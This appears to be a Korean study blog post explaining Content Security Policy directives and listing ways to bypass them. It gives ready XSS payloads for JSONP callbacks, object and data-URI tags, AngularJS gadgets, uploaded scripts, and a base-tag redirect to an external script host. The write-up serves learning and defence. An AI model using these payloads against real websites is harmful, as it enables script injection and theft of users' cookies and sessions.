Content Security Policy (CSP, 컨테츠 보안 정책)은 웹 페이지에서 검색하고 실행할 수 있는 리소스를 정의하는 보안 계층이다. XSS나 데이터를 삽입하는 공격이 발생하였을 때 피해를 줄이고 웹 관리자가 공격 시도를 보고 받을 수 있다.
Content-Security-Policy: <policy-directive>; <policy-directive>
<policy-directive>는 <directive> <value> 형태로 구성된다. <directive>는 지시문으로 칸테츠 내에서 로드하는 리소스를 세분화해 어떤 리소스에 대한 출처를 제어할지 결정한다. <value> 부분에는 <directive>에서 정의한 리소스의 출처를 정의한다.
<directive>의 종류
default-src : -src로 끝나는 모든 리소스의 기본 동작을 제어함. 만약 CSP 구문 내에서 지정하지 않은 지시문이 존재하면 default-src 정의를 따름
img-src : 이미지를 로드할 수 있는 출처 제어
script-src : 스크립트 태그 관련 권한과 출처를 제어
<value>의 종류
self : 페이지의 현재 출처내에서 로드하는 리소스만 허용
none : 모든 출처를 허용하지 않음
unsafe-inline : 예외적으로 인라인 코드의 사용을 허용
몇개의 지시문과 출처의 종류를 적어놓았다. 더 자세한 것은 아래 링크에서 확인할 수 있다.
Content-Security-Policy - HTTP | MDN
default-src 'self' https://velog.io/@silver35 : 페이지 내부의 자원들이 같은 오리진 혹은 https://velog.io/@silver35에서만 로드
default-src 'self'; img-src *; script-src https://velog.io/@silver35 : 모든 리소스의 출처를 현재 페이지와 같은 출처로 제한하고, 이미지의 출처는 모든 호스트를 허용하고, 스크립트 태그의 출처는 https://velog.io/@silver35로 제한
base-uri 'none' : <base> 문서의 요소에서 사용할 수 있는 URL은 어느것도 허용하지 않음
CSP가 스크립트 태그 관련 출처는 페이지의 현재 출처 내에서 로드하는 리소스와 예외적으로 인라인 코드의 사용을 허용한다.
참고) 인라인 코드는 태그의 src 속성으로 로드하지 않고 태그내에 직접 코드를 삽입하는 것을 의미한다. 즉예를들면, <script>alert(1)</script>와 같이 <sciprt> 태그 내에 직접 삽입하는 것이다.
따라서, p파라미터에 <script>alert(’xss’)</script> 구문을 사용해 요청하면 스크립트가 실행된다.
JSONP란 JSON with Padding으로 same-origin policy(SOP)를 우회하여 각기 다른 도메인에 상주하는 서버로부터 데이터를 요청하기 위해 사용하며 데이터 공유의 기능을 한다. JSONP는 XMLHttpRequest를 사용하지 않고 <scirpt> 태그를 사용한다. JavaScript의 페이로드는 callback이라는 GET 매개변수를 통해 JSONP 엔드포인트에 삽입할 수 있으며 엔드포인트는 SOP(동일출처정책)을 우회하여 JSON으로 반환한다. 예시는 아래와 같다.
CSP가 스크립트 태그 관련 출처는 페이지는 https://www.google.com과 https://accounts.google.com를 허용한다고 한다.
script-src https://www.google.com https://accounts.google.com ;
이를 우회하기 위해서는 accounts.google.com에서 자바스크립트 파일을 로드할 수 있으므로 아래와 같이 XSS 페이로드를 작성해 우회할 수 있다.
domain?vuln_param=https://accounts.google.com/o/oauth2/revoke?callback=alert('csp bypass')
CSP가 스크립트 태그 관련 출처에서 현재 출처 내에서 로드하는 리소스만 허용한다.
Content-Security-Policy: script-src 'self' ;
이 경우 <object> 태그가 허용이 돼 <object> 태그를 통해 우회할 수 있다.
(1) <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
(2) ">'><object type="application/x-shockwave-flash" data = 'https://ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(1337)}//'><param name="AllowScriptAccess" value="always"></object>
Angular JS는 웹 상에서 많이 사용되는 개발 프레임 워크이다. 만약, 허용된 도메인에서 AngularJS의 스크립트나 애플리케이션을 로딩하면 CSP 정책을 우회할 수 있다. CSP가 스크립트 태그 관련 현재 출처 내에서 로드하는 리소스, ajax.googleapis.com를 허용하며 object-src 출처는 어떤 것도 허용하지 않으며 /Report-parsing-url에 콘텐츠 보안 정책을 위반하려는 시도를 보고한다.
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
이 경우 아래와 같이 우회할 수 있다.
(1) ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
(2) "><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
더 찾아보니 ajax.googleapis.com의 엔드포인트는 더이상 csp를 우회할 수 없다고 나온다. 일단 개념만 정리를 해놓고 나중에 이와 관련해서 더 좋은 자료가 있으면 추가하려고 한다.
참고) https://github.com/zigoo0/JSONBee/issues/3
JS 파일 업로드를 통해 CSP를 우회한다. 즉, 해당 출처가 파일 업로드 및 다운로드 기능을 제공한다면, 공격자는 출처에 스크립트와 같은 자원을 업로드 한 뒤 다운로드 경로로 웹 페이지에 자원을 포함 시킬 수 있다. CSP가 스크립트 태그 관련 현재 출처 내에서 로드하는 리소스를 허용하며 object-src 출처는 어떤 것도 허용하지 않는다.
Content-Security-Policy: script-src 'self'; object-src 'none' ;
이 경우 아래와 같이 우회할 수 있다.
'"><script src="/uploads/csp.js"></script>
CSP가 -src로 끝나는 모든 리소스의 기본 동작을 현재 출처 내로 제안하며 data: Scheme만 허용한다.
따라서, data 스킴을 사용해 스크립트를 작성하면 우회할 수 있다.
<script src=data:text/javascript,alert(document.cookie)></script>
html에서는 상대주소를 입력하면 현재 문서 뒤에 상대 주소를 붙여 해석한다. 하지만 <base> 태그를 사용하면 상대 경로가 붙여질 기준점을 바꿀 수 있다.
CSP가 스크립트 태그 관련 해서 nonce-cf4a3ec7906f59f6만을 허용한다. 즉, <script nonce=cf4a3ec7906f59f6>로 정의된 스크립트 만을 허용한다는 것이다.
이를 우회하려면 base 태그를 사용해 //remote-xss-link를 사용해 CSP를 우회한다.
참고) X55.is는 alert(1)을 띄워주는 도메인이다.
<base href="//X55.is">
참고자료)
CSP and Bypasses
https://www.hahwul.com/cullinan/xss/#bypass-csp
CSP Bypass
https://brutelogic.com.br/csp/